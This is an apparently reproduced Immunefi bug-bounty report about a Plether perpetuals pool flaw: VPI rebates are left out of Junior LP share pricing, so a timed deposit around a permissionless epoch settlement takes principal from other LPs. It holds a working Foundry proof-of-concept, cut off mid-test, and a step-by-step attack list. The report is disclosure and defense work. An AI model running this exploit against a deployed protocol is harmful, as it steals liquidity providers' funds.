Skip to content
Business logic Audit finding Advanced

Junior LP deposit is priced below value while a VPI rebate is outstanding, stealing principal from other junior LPs

A skew-reducing trade earns a VPI rebate paid out of pool cash, but the rebate is backed by a reserve held outside pool custody and is not counted when pricing LP shares. An attacker with a pending Junior deposit can open such a position, trigger the permissionless epoch settlement so their deposit is priced below value, then close and redeem later, taking principal from other Junior LPs.

v4rvl Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

#99859 [SC-Critical] Junior LP deposit is priced below value while a VPI rebate is outstanding, stealing principal from other junior LPs

Submitted on Nov 15th 2026 at 14:07:55 UTC by @v4rvl for Audit Competition | Plether

Description

Summary

A skew-reducing open receives a negative VPI amount (a rebate) R, and R leaves HousePool cash.

R is not a loss to the pool:

  • The trader must lock an equal, nonwithdrawable VPI reserve in its clearinghouse account.
  • At close, the lifetime clamp charges the position at least R back.
  • The close then moves the reserve into the pool.

While the position is open, HousePoolAccountingLib.buildReconcileSnapshot prices LP shares from pool custody only, plus a terminal price curve that has no VPI term. The reserve sits in the clearinghouse, so the reconcile counts neither the cash that left nor the reserve that guarantees its return. Junior net asset value is therefore understated by exactly R for as long as the position is open.

LP epoch settlement prices pending Junior deposits and redemptions from this reconcile, and anyone can trigger it through OrderRouter.settleLpEpoch. An attacker with a pending Junior deposit can:

  1. open a position that offsets an existing skew,
  2. call the settlement itself,
  3. close the position.

Its deposit is then priced R below the value that returns to the pool seconds later. The attacker redeems in a later epoch at the restored price. Incumbent Junior LPs lose f * R to the attacker, and honest LPs redeeming in the same settlement are paid in cash at the understated price.

Measured with release parameters, attacker at 50 % of Junior, honest skew at 39 % of depth:

  • the attacker deposits 1,000,999.899493 USDG and redeems 1,002,122.130747 USDG (+1,122.231254 USDG);
  • after 936.56 USDG of execution fees it ends +185.653630 USDG richer, which is +203.907125 USDG against the same deposit and redemption without the position;
  • the incumbent Junior LP ends 1,139.327808 USDG poorer;
  • the honest trader and the Senior tranche are unchanged to the atom.

Root cause

1. The open pays the rebate out of pool cash. libraries/CfdEnginePlanLib.sol:333:

Solidity
delta.poolRebatePayoutAssets = openState.tradeCostAssets < 0 ? uint256(-openState.tradeCostAssets) : 0;

tradeCostAssets is the signed VPI plus the execution fee. The net rebate is paid from the pool in CfdEngineSettlementSidecar.sol:442-444:

Solidity
if (delta.poolRebatePayoutAssets > 0) {
    IHousePool(host.pool()).payOut(host.clearinghouse(), delta.poolRebatePayoutAssets);
}

The execution fee that this negative trade cost does not cover is topped up from pool cash in CfdEngineSettlementSidecar.sol:498 → :905-926 (pool.payOut(...)). Together, pool cash falls by the full VPI rebate R. HousePool.payOut (HousePool.sol:604-613) does accountedAssets -= amount and transfers the tokens out.

2. The trader must lock an equal reserve in the clearinghouse, outside pool custody.

  • The reserve target is max(-vpiAccrued, 0) (CfdEnginePlanLib.sol:48-55, :348-349).
  • CfdEngineSettlementSidecar.sol:466-478 locks it with clearinghouse.lockVpiRebateReserve(account, ...) (or reclassifies pledge into it).
  • MarginClearinghouse.sol:843-852 records it:
Solidity
function lockVpiRebateReserve(address account, uint256 amountAssets) external onlyOperator {
    if (amountAssets == 0) { return; }
    _lockMargin(account, IMarginClearinghouse.MarginBucket.ReservedSettlement, amountAssets);
    vpiRebateReserveBalances[account] += amountAssets;
}

3. The close recovers R into the pool. The lifetime clamp in libraries/CloseAccountingLib.sol:103-118:

Solidity
state.proportionalAccrualAssets =
    (inputs.position.vpiAccrued * int256(inputs.sizeDelta)) / int256(inputs.position.size);
...
if (state.proportionalAccrualAssets + state.vpiDeltaAssets < 0) {
    state.vpiDeltaAssets = -state.proportionalAccrualAssets;
}

So a full close is charged at least -vpiAccrued = R. The planner turns that into reserve consumption (CfdEnginePlanLib.sol:1045-1057). CfdEngineSettlementSidecar.sol:690-692 then calls clearinghouse.consumeVpiRebateReserve(delta.account, host.pool(), delta.vpiRebateReserveConsumedAssets), which moves the reserve into the pool.

4. The LP pricing snapshot counts neither the outflow nor the reserve.

  • Physical assets are pool custody only: CfdEngineProtocolLens.sol:63-64 reads engineContract.pool().totalAssets(), and HousePool.sol:426-429 returns min(raw balance, accountedAssets).
  • The terminal delta comes from per-account price curves built from lots, entry cost and the pnlPledge + traderClaim cap (TerminalNavBookV2.sol:417-447). There is no VPI term, and the VPI reserve is not part of the cap.
  • libraries/HousePoolAccountingLib.sol:60-78:
Solidity
function buildReconcileSnapshot(
    HousePoolEngineViewTypes.HousePoolInputSnapshot memory engineSnapshot
) internal pure returns (ReconcileSnapshot memory snapshot) {
    uint256 terminalAssets = engineSnapshot.physicalAssets;
    uint256 terminalLiabilities = engineSnapshot.traderClaimBalanceAssets;
    int256 terminalDelta = engineSnapshot.terminalLpPriceDeltaAssets;
    if (terminalDelta >= 0) {
        terminalAssets += uint256(terminalDelta);
    } else {
        terminalLiabilities += uint256(-(terminalDelta + 1)) + 1;
    }
    if (terminalAssets >= terminalLiabilities) {
        snapshot.distributable = terminalAssets - terminalLiabilities;
    } else {
        snapshot.deficit = terminalLiabilities - terminalAssets;
    }
}

The value R is owed back to the pool and fully backed by the clearinghouse reserve, but it appears in no term. Distributable value, and with it the Junior residual, is R lower than it will be once the position closes.

5. Epoch settlement prices LP entries and exits from that snapshot, and anyone can trigger it.

  • OrderRouter.sol:479-484 (settleLpEpoch, documented as "Permissionless") delegates to router/OrderLiquidationBatchLogic.sol:549-581. That code updates the mark and calls HousePool.settleLpEpoch from the router, with no restriction on the caller.
  • HousePool.sol:797-835 runs _reconcile, which calls buildReconcileSnapshot at HousePool.sol:1555-1563.
  • HousePool.sol:915-916 then prices Junior deposits at pricingAssets = juniorPrincipal, pricingSupply = _juniorShareSupply().
  • Junior redemptions in the same settlement are priced from the same juniorPrincipal (HousePool.sol:836, juniorPhase.pricingPrincipal = juniorPrincipal).

Proof of Concept

Proof of concept

Place the file at packages/perps/test/perps/T_vpi_mirror_RebateUnderstatement.t.sol and run from packages/perps:

Shell
forge test --match-path 'test/perps/T_vpi_mirror_*' -vv

The test changes no protocol contract. It uses only the repository's fixture, the timelocked admin paths to apply the release parameters, settlementToken.mint on the fixture's mock settlement token to fund users (as the fixture itself does), and vm.warp, vm.roll, vm.prank, vm.snapshotState and vm.revertToState. It does not use vm.store, vm.etch, vm.mockCall or deal. The attacked epoch settlement is called by the attacker's own address.

Solidity
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {ICfdEngineAdminHost} from "@plether/perps/interfaces/ICfdEngineAdminHost.sol";
import {IHousePool} from "@plether/perps/interfaces/IHousePool.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";

import {console2} from "forge-std/console2.sol";

import {OrderRouterPythTestBase} from "./shared/OrderRouterTestBase.sol";

/// Reserve-backed negative-VPI rebate is excluded from Junior share pricing.
/// A skew-REDUCING open is paid a VPI rebate R out of pool cash; R is a receivable guaranteed by the trader's
/// dedicated VPI reserve (held in the clearinghouse, outside pool assets) and is clawed back at close by the
/// lifetime clamp. While the position is open, buildReconcileSnapshot does not count R, so junior NAV is understated.
///
/// Actors: bob (incumbent junior LP, fixture), sally (senior LP), carol (honest trader, LONG, open the whole test,
/// skews the book), attacker (trader account + junior LP account, same address).
/// Arms (same timestamps, constant price 1.00):
///   ATTACK : attacker junior deposit pending; attacker opens SHORT (skew-reducing, paid R); epoch settles (deposit
///            priced at understated NAV); attacker closes (R clawed back); attacker redeems next epoch.
///   CTRL_A : identical deposit/settlement/redemption, no attacker position.
///   CTRL_B : identical open and close, but the close executes BEFORE the settlement.
contract T_vpi_mirror_RebateUnderstatement is OrderRouterPythTestBase {
    address internal attacker = address(0xA77AC4);
    address internal keeper = address(0x4EE9);
    address internal carol = address(0xCA201); // honest trader
    address internal sally = address(0x5A11); // senior LP

    int64 internal constant PX = 100_000_000; // 1.00 on both feeds -> basket 1.00
    uint256 internal constant T0 = SETUP_TIMESTAMP + 10 hours; // live market, hour-aligned
    uint256 internal constant TRADER_COLLATERAL = 200_000e6;
    uint256 internal constant TRADER_MARGIN = 60_000e6;

    uint8 internal constant ATTACK = 0;
    uint8 internal constant CTRL_A = 1;
    uint8 internal constant CTRL_B = 2;

    struct Cfg {
        uint256 attackerShareOfJuniorPct; // attacker deposit as % of junior after the deposit
        uint256 carolSkewPct; // carol's notional as % of economic depth
        uint256 seniorDeposit;
        uint256 bobRedeemAtAttackBps; // redemption-side variant: bob redeems this share in the attacked settlement
        uint256 attackerOffsetPct; // attacker SHORT size as % of carol's LONG size (100 = full offset)
    }

    struct Arm {
        uint256 attackerDeposit;
        uint256 carolNotional;
        uint256 attackerNotional;
        int256 carolVpi;
        int256 attackerVpiAtOpen; // negative = rebate R
        uint256 juniorPriceAtAttackE18; // juniorPrincipal / supply right after the attacked settlement
        uint256 attackerShares;
        uint256 attackerRedemption;
        int256 traderLegDelta;
        int256 lpLegDelta;
        int256 attackerNet;
        uint256 treasuryDelta;
        uint256 bobPayout; // bob's redemption payout in the attacked settlement (variant only)
        uint256 bobValueEnd; // bob's remaining shares at the final junior price
        uint256 carolWealthEnd;
        uint256 seniorPrincipalEnd;
        uint256 juniorPrincipalEnd;
        // Inputs for the off-chain emulation of alternative reconcile rules (no source change).
        uint256 sPre; // junior pricing supply (accruedTotalSupply) immediately before the attacked settlement
        uint256 jPre; // junior pricing assets at the attacked settlement = juniorPrincipal after it - accepted deposit
        uint256 posVpiSum; // sum(max(vpiAccrued, 0)) over open positions at the attacked settlement
        uint256 negVpiSum; // sum(max(-vpiAccrued, 0)) over open positions at the attacked settlement
        uint256 sRedPre; // junior supply immediately before the redemption settlement
        uint256 jRedPre; // junior principal at the redemption settlement before the attacker's payout
        uint256 posVpiSumAtRed; // sum(max(vpiAccrued, 0)) at the redemption settlement
    }

    // ---------------------------------------------------------------------------------------- helpers

    function _applyRelease() internal {
        IHousePool.PoolConfig memory pc = _currentPoolConfig();
        pc.maxSeniorExposureAssets = 40_000_000e6;
        pc.maxSeniorShareBps = 8_000;
        pc.seniorRateBps = 800;
        pool.proposePoolConfig(pc);
        vm.warp(pool.poolConfigActivationTime());
        pool.finalizePoolConfig();

        ICfdEngineAdminHost.EngineRiskConfig memory config;
        config.riskParams = CfdTypes.RiskParams({
            vpiFactor: 0.01e18,
            maxSkewRatio: 0.4e18,
            maintMarginBps: 10,
            initMarginBps: 20,
            fadMarginBps: 300,
            baseCarryBps: 500,
            minBountyAssets: 1e6,
            bountyBps: 10,
            keeperShareBps: 5_000,
            protocolShareBps: 0
        });
        config.executionFeeBps = 4;
        config.frozenCloseSpreadBps = 50;
        config.settlementBufferBps = 25;
        engineAdmin.proposeRiskConfig(config);
        vm.warp(vm.getBlockTimestamp() + 72 hours + 1);
        engineAdmin.finalizeRiskConfig();
        (uint256 k, uint256 maxSkew, uint256 maint, uint256 init,,,,,,) = engine.riskParams();
        assertEq(k, 0.01e18, "release vpiFactor");
        assertEq(maxSkew, 0.4e18, "release maxSkewRatio");
        assertEq(maint, 10, "release maint");
        assertEq(init, 20, "release init");
        assertEq(uint256(engine.executionFeeBps()), 4, "release execution fee");
        assertEq(pool.seniorRateBps(), 800, "release senior rate");
        assertEq(pool.maxSeniorShareBps(), 8_000, "release senior share");
    }

    function _blob(int64 price, uint256 publishTime, uint256 prevPublishTime)
        internal
        pure
        returns (bytes[] memory data)
    {
        MockPyth.FeedUpdate[] memory u = new MockPyth.FeedUpdate[](2);
        u[0] = MockPyth.FeedUpdate(FEED_A, MockPyth.MockPrice(price, 0, int32(-8), publishTime, prevPublishTime));
        u[1] = MockPyth.FeedUpdate(FEED_B, MockPyth.MockPrice(price, 0, int32(-8), publishTime, prevPublishTime));
        data = new bytes[](1);
        data[0] = abi.encode(u);
    }

    function _at(uint256 t) internal {
        vm.warp(t);
        vm.roll(vm.getBlockNumber() + 1);
    }

    function _settle(uint256 t) internal {
        _settleAs(keeper, t);
    }

    /// OrderRouter.settleLpEpoch is permissionless: any address may call it with a valid price update.
    function _settleAs(address caller, uint256 t) internal {
        _at(t);
        bytes[] memory b = _blob(PX, t - 1, t - 2);
        vm.prank(caller);
        router.settleLpEpoch(b);
    }

    function _posVpi(address who) internal view returns (uint256) {
        int256 v = _vpiAccrued(who);
        return v > 0 ? uint256(v) : 0;
    }

    function _negVpi(address who) internal view returns (uint256) {
        int256 v = _vpiAccrued(who);
        return v < 0 ? uint256(-v) : 0;
    }

    /// Permissionless mark refresh (LP requests with open positions need a mark within markStalenessLimit).
    function _mark(uint256 t) internal {
        _at(t);
        bytes[] memory b = _blob(PX, t - 1, t - 2);
        vm.prank(keeper);
        router.updateMarkPrice(b);
    }

    function _trade(address who, CfdTypes.Side side, uint256 size, uint256 margin, bool isClose, uint256 t) internal {
        _at(t);
        vm.prank(who);
        uint64 id = router.commitOrder(side, size, margin, 0, isClose);
        _at(t + 2);
        bytes[] memory b = _blob(PX, t + 1, t);
        vm.prank(who);
        OrderV3Types.ExecutionResult memory r = router.executeOrder(id, b);
        require(r.status == OrderV3Types.LifecycleStatus.Executed, "order must execute");
    }

    function _wealth(address who) internal view returns (uint256) {
        return settlementToken.balanceOf(who) + clearinghouse.balanceAssets(who) + engine.traderClaimBalanceAssets(who);
    }

    function _traderWealth(address who) internal view returns (uint256) {
        return clearinghouse.balanceAssets(who) + engine.traderClaimBalanceAssets(who);
    }

    function _treasuryWealth() internal view returns (uint256) {
        address t = engine.protocolTreasury();
        return settlementToken.balanceOf(t) + clearinghouse.balanceAssets(t);
    }

    function _vpiAccrued(address who) internal view returns (int256 v) {
        (,,,,,, v) = engine.positions(who);
    }

    function _size(address who) internal view returns (uint256 s) {
        (s,,,,,,) = engine.positions(who);
    }

    function _depth() internal view returns (uint256) {
        return pool.totalAssets() - engine.totalTraderClaimBalanceAssets();
    }

    function _lotsNotional(uint256 assets) internal pure returns (uint256) {
        return (assets / 100e6) * 100e18;
    }

    function _juniorPriceE18() internal view returns (uint256) {
        return pool.juniorPrincipal() * 1e18 / juniorVault.totalSupply();
    }

    function _fundTrader(address who) internal {
        settlementToken.mint(who, TRADER_COLLATERAL);
        vm.startPrank(who);
        settlementToken.approve(address(clearinghouse), type(uint256).max);
        clearinghouse.deposit(who, TRADER_COLLATERAL);
        vm.stopPrank();
    }

    // ---------------------------------------------------------------------------------------- scenario

    function _run(uint8 mode, Cfg memory cfg) internal returns (Arm memory a) {
        _applyRelease();
        _at(T0);
        {
            bytes[] memory prime = _blob(PX, T0 - 1, T0 - 2);
            vm.prank(keeper);
            router.updateMarkPrice(prime);
        }

        // Senior LP enters first (clean epoch, nothing open).
        uint256 seniorReq;
        if (cfg.seniorDeposit > 0) {
            settlementToken.mint(sally, cfg.seniorDeposit);
            _at(T0 + 30);
            vm.startPrank(sally);
            settlementToken.approve(address(seniorVault), cfg.seniorDeposit);
            seniorReq = seniorVault.requestDeposit(cfg.seniorDeposit, sally, sally);
            vm.stopPrank();
        }
        _settle(T0 + 1 hours + 20);
        if (cfg.seniorDeposit > 0) {
            uint256 sc = seniorVault.claimableDepositRequest(seniorReq, sally);
            assertEq(sc, cfg.seniorDeposit, "senior deposit activated");
            vm.prank(sally);
            seniorVault.claimDeposit(seniorReq, sc, sally, sally);
        }

        // Carol (honest) skews the book LONG and keeps the position open for the whole test (all arms).
        _fundTrader(carol);
        a.carolNotional = _lotsNotional(_depth() * cfg.carolSkewPct / 100);
        _trade(carol, CfdTypes.Side.LONG, a.carolNotional, TRADER_MARGIN, false, T0 + 1 hours + 100);
        a.carolVpi = _vpiAccrued(carol);

        // Attacker funds the trader account and requests a junior deposit in epoch E1 (matures at e).
        uint256 juniorNow = pool.juniorPrincipal();
        a.attackerDeposit = juniorNow * cfg.attackerShareOfJuniorPct / (100 - cfg.attackerShareOfJuniorPct);
        _fundTrader(attacker);
        settlementToken.mint(attacker, a.attackerDeposit);
        vm.prank(attacker);
        settlementToken.approve(address(juniorVault), type(uint256).max);
        uint256 attacker0 = _wealth(attacker);
        uint256 trader0 = _traderWealth(attacker);
        uint256 treasury0 = _treasuryWealth();

        _mark(T0 + 1 hours + 300);
        vm.prank(attacker);
        uint256 depId = juniorVault.requestDeposit(a.attackerDeposit, attacker, attacker);

        uint256 bobRedId;
        uint256 bobRedShares;
        if (cfg.bobRedeemAtAttackBps > 0) {
            bobRedShares = juniorVault.balanceOf(bob) * cfg.bobRedeemAtAttackBps / 10_000;
            _mark(T0 + 1 hours + 310);
            vm.prank(bob);
            bobRedId = juniorVault.requestRedeem(bobRedShares, bob, bob);
        }

        uint256 e = T0 + 2 hours; // the deposit (and bob's redemption) mature at this boundary
        // Attacker offsets carol's skew by attackerOffsetPct, rounded down to the 100-token position quantum.
        a.attackerNotional = (a.carolNotional * cfg.attackerOffsetPct / 100) / 100e18 * 100e18;

        if (mode != CTRL_A) {
            _trade(attacker, CfdTypes.Side.SHORT, a.attackerNotional, TRADER_MARGIN, false, e + 10);
            a.attackerVpiAtOpen = _vpiAccrued(attacker);
        } else {
            _at(e + 12);
        }
        if (mode == CTRL_B) {
            _trade(attacker, CfdTypes.Side.SHORT, a.attackerNotional, 0, true, e + 20);
        } else {
            _at(e + 22);
        }

        // The attacker itself calls the permissionless epoch settlement that prices its deposit (and bob's
        // redemption in the variant). Same caller in every arm.
        _at(e + 30);
        a.sPre = juniorVault.accruedTotalSupply();
        a.posVpiSum = _posVpi(carol) + _posVpi(attacker);
        a.negVpiSum = _negVpi(carol) + _negVpi(attacker);
        _settleAs(attacker, e + 30);
        a.juniorPriceAtAttackE18 = _juniorPriceE18();
        a.jPre = pool.juniorPrincipal() - a.attackerDeposit;

        if (mode == ATTACK) {
            _trade(attacker, CfdTypes.Side.SHORT, a.attackerNotional, 0, true, e + 40);
        } else {
            _at(e + 42);
        }
        assertEq(_size(attacker), 0, "attacker flat");
        assertEq(_size(carol), a.carolNotional, "carol still open");

        _mark(e + 50);
        uint256 claimable = juniorVault.claimableDepositRequest(depId, attacker);
        assertEq(claimable, a.attackerDeposit, "attacker deposit activated in full");
        vm.prank(attacker);
        a.attackerShares = juniorVault.claimDeposit(depId, claimable, attacker, attacker);
        if (cfg.bobRedeemAtAttackBps > 0) {
            uint256 bc = juniorVault.claimableRedeemRequest(bobRedId, bob);
            assertEq(bc, bobRedShares, "bob redemption funded");
            vm.prank(bob);
            a.bobPayout = juniorVault.claimRedeem(bobRedId, bc, bob, bob);
        }

        // Attacker redeems everything in the next epoch (after cooldown); carol still open.
        _mark(e + 1 hours + 300);
        vm.prank(attacker);
        uint256 redId = juniorVault.requestRedeem(a.attackerShares, attacker, attacker);
        _at(e + 2 hours + 30);
        a.sRedPre = juniorVault.accruedTotalSupply();
        a.posVpiSumAtRed = _posVpi(carol) + _posVpi(attacker);
        _settle(e + 2 hours + 30);
        _mark(e + 2 hours + 50);
        uint256 rc = juniorVault.claimableRedeemRequest(redId, attacker);
        assertEq(rc, a.attackerShares, "attacker redemption funded in full");
        vm.prank(attacker);
        a.attackerRedemption = juniorVault.claimRedeem(redId, rc, attacker, attacker);
        a.jRedPre = pool.juniorPrincipal() + a.attackerRedemption;

        a.traderLegDelta = int256(_traderWealth(attacker)) - int256(trader0);
        a.lpLegDelta = int256(a.attackerRedemption) - int256(a.attackerDeposit);
        a.attackerNet = int256(_wealth(attacker)) - int256(attacker0);
        a.treasuryDelta = _treasuryWealth() - treasury0;
        a.bobValueEnd = juniorVault.balanceOf(bob) * pool.juniorPrincipal() / juniorVault.totalSupply();
        a.carolWealthEnd = _traderWealth(carol);
        a.seniorPrincipalEnd = pool.seniorPrincipal();
        a.juniorPrincipalEnd = pool.juniorPrincipal();
        assertEq(_vpiAccrued(carol), a.carolVpi, "carol's VPI record unchanged");
    }

    function _log(string memory tag, Arm memory a) internal pure {
        console2.log(tag);
        console2.log("  attacker deposit:", a.attackerDeposit);
        console2.log("  carol notional (1e18):", a.carolNotional);
        console2.log("  carol vpiAccrued:");
        console2.logInt(a.carolVpi);
        console2.log("  attacker vpiAccrued at open (neg = rebate R):");
        console2.logInt(a.attackerVpiAtOpen);
        console2.log("  junior price at attacked settlement (1e18):", a.juniorPriceAtAttackE18);
        console2.log("  attacker shares:", a.attackerShares);
        console2.log("  attacker redemption:", a.attackerRedemption);
        console2.log("  attacker LP leg delta:");
        console2.logInt(a.lpLegDelta);
        console2.log("  attacker trader leg delta (fees+carry+VPI net):");
        console2.logInt(a.traderLegDelta);
        console2.log("  attacker net (LP+trader):");
        console2.logInt(a.attackerNet);
        console2.log("  treasury delta:", a.treasuryDelta);
        console2.log("  bob payout in attacked settlement:", a.bobPayout);
        console2.log("  bob remaining value end:", a.bobValueEnd);
        console2.log("  carol trader wealth end:", a.carolWealthEnd);
        console2.log("  senior principal end:", a.seniorPrincipalEnd);
        console2.log("  junior principal end:", a.juniorPrincipalEnd);
    }

    /// Off-chain emulation of two alternative reconcile rules, computed from measured on-chain values (no source change).
    /// Subtracting an amount X from `distributable` lowers the junior residual by X while the senior claim is covered,
    /// so junior pricing assets become jPre - X. Rules:
    ///   positive-only: X = sum(max(vpiAccrued, 0))
    ///   signed       : X = sum(max(vpiAccrued, 0)) - sum(max(-vpiAccrued, 0))
    /// The attacker's shares are re-priced under the rule and redeemed at the rule's redemption value (attacker flat,
    /// so both rules subtract only carol's positive accrual there). Pool-level junior principal does not depend on
    /// how many shares were minted, so this re-pricing is exact up to share rounding.
    struct Emu {
        uint256 priceCurrentE18;
        uint256 pricePosOnlyE18;
        uint256 priceSignedE18;
        int256 redemptionCheckDiff; // emulated current-code redemption - measured redemption (sanity check)
        int256 lpLegPosOnly;
        int256 lpLegSigned;
    }

    function _emulate(Arm memory a) internal pure returns (Emu memory m) {
        m.priceCurrentE18 = a.jPre * 1e18 / a.sPre;
        uint256 jPos = a.jPre - a.posVpiSum;
        uint256 jSigned = a.jPre - a.posVpiSum + a.negVpiSum;
        m.pricePosOnlyE18 = jPos * 1e18 / a.sPre;
        m.priceSignedE18 = jSigned * 1e18 / a.sPre;
        m.redemptionCheckDiff = int256(a.attackerShares * a.jRedPre / a.sRedPre) - int256(a.attackerRedemption);
        uint256 vRed = a.jRedPre - a.posVpiSumAtRed;
        uint256 sharesPos = a.attackerDeposit * a.sPre / jPos;
        uint256 sharesSigned = a.attackerDeposit * a.sPre / jSigned;
        m.lpLegPosOnly =
            int256(sharesPos * vRed / (a.sRedPre - a.attackerShares + sharesPos)) - int256(a.attackerDeposit);
        m.lpLegSigned =
            int256(sharesSigned * vRed / (a.sRedPre - a.attackerShares + sharesSigned)) - int256(a.attackerDeposit);
    }

    function _logEmu(string memory tag, Arm memory a) internal pure returns (Emu memory m) {
        m = _emulate(a);
        console2.log(tag);
        console2.log("  pricing supply / assets at attacked settlement:", a.sPre, a.jPre);
        console2.log("  sum(max(vpi,0)) / sum(max(-vpi,0)) at attacked settlement:", a.posVpiSum, a.negVpiSum);
        console2.log("  junior price current code (1e18):", m.priceCurrentE18);
        console2.log("  junior price positive-only fix (1e18):", m.pricePosOnlyE18);
        console2.log("  junior price signed fix (1e18):", m.priceSignedE18);
        console2.log("  emulation sanity (emulated - measured current-code redemption):");
        console2.logInt(m.redemptionCheckDiff);
        console2.log("  attacker LP leg under positive-only fix:");
        console2.logInt(m.lpLegPosOnly);
        console2.log("  attacker LP leg under signed fix:");
        console2.logInt(m.lpLegSigned);
    }

    function _compare(Cfg memory cfg) internal returns (Arm memory atk, Arm memory ca, Arm memory cb) {
        uint256 snap = vm.snapshotState();
        atk = _run(ATTACK, cfg);
        vm.revertToState(snap);
        ca = _run(CTRL_A, cfg);
        vm.revertToState(snap);
        cb = _run(CTRL_B, cfg);
        vm.revertToState(snap);

        console2.log("=== cfg: attacker share of junior %, carol skew % depth, bob redeem bps");
        console2.log(cfg.attackerShareOfJuniorPct, cfg.carolSkewPct, cfg.bobRedeemAtAttackBps);
        _log("ATTACK", atk);
        _log("CTRL_A (no attacker position)", ca);
        _log("CTRL_B (open+close before settlement)", cb);
        console2.log("SUMMARY attacker net ATTACK - CTRL_A:");
        console2.logInt(atk.attackerNet - ca.attackerNet);
        console2.log("SUMMARY attacker net ATTACK - CTRL_B:");
        console2.logInt(atk.attackerNet - cb.attackerNet);
        console2.log("SUMMARY bob total (payout+remaining) CTRL_A - ATTACK:");
        console2.logInt(int256(ca.bobPayout + ca.bobValueEnd) - int256(atk.bobPayout + atk.bobValueEnd));
        console2.log("SUMMARY carol wealth ATTACK - CTRL_A:");
        console2.logInt(int256(atk.carolWealthEnd) - int256(ca.carolWealthEnd));
        console2.log("SUMMARY senior principal ATTACK - CTRL_A:");
        console2.logInt(int256(atk.seniorPrincipalEnd) - int256(ca.seniorPrincipalEnd));
        console2.log("SUMMARY attacker LP leg ATTACK - CTRL_A:");
        console2.logInt(atk.lpLegDelta - ca.lpLegDelta);
    }

    function _assertSameMarket(Arm memory atk, Arm memory ca, Arm memory cb) internal pure {
        assertEq(atk.carolWealthEnd, ca.carolWealthEnd, "carol identical ATTACK vs CTRL_A");
        assertEq(atk.carolWealthEnd, cb.carolWealthEnd, "carol identical ATTACK vs CTRL_B");
        assertEq(atk.seniorPrincipalEnd, ca.seniorPrincipalEnd, "senior identical ATTACK vs CTRL_A");
        assertEq(atk.attackerDeposit, ca.attackerDeposit, "same deposit");
    }

    // ---------------------------------------------------------------------------------------- tests

    function test_main_50pct_40skew() public {
        (Arm memory atk, Arm memory ca, Arm memory cb) = _compare(
            Cfg({attackerShareOfJuniorPct

The original report as published on Immunefi, by v4rvl. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The LP pricing snapshot counts only pool custody plus a terminal price curve with no VPI term, so a rebate that has left the pool but is secured by a clearinghouse reserve is omitted from Junior net asset value.

Impact

Incumbent Junior LPs lose a share of the rebate to the attacker, and honest LPs redeeming in the same settlement are paid in cash at the understated price; the measured run shows the attacker netting about 185 USDG after fees while an incumbent LP ends about 1,139 USDG poorer.

What the attacker needed

A pending Junior deposit; an existing book skew to offset; trader collateral for margin; ability to call settleLpEpoch

How it was found

  1. Request a Junior deposit that matures at the next epoch boundary.
  2. Open a position that offsets the existing book skew, receiving a negative VPI rebate paid from pool cash.
  3. Call the permissionless epoch settlement yourself so the pending deposit is priced at the understated NAV.
  4. Close the position so the lifetime clamp recovers the rebate into the pool.
  5. Claim the deposit shares, then request and claim a redemption in a later epoch at the restored price.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Liquidity providers put money into a shared pool and get shares whose price depends on what the pool holds. A trader can earn a small rebate that leaves the pool but is guaranteed to come back, and while it is out the pool looks poorer than it really is. By timing a deposit and a withdrawal around that moment, the attacker buys shares cheaply and sells them at the true price, so the difference comes out of other providers' money.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by v4rvl

View all

20 more disclosed reports, best first.

More from Plether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.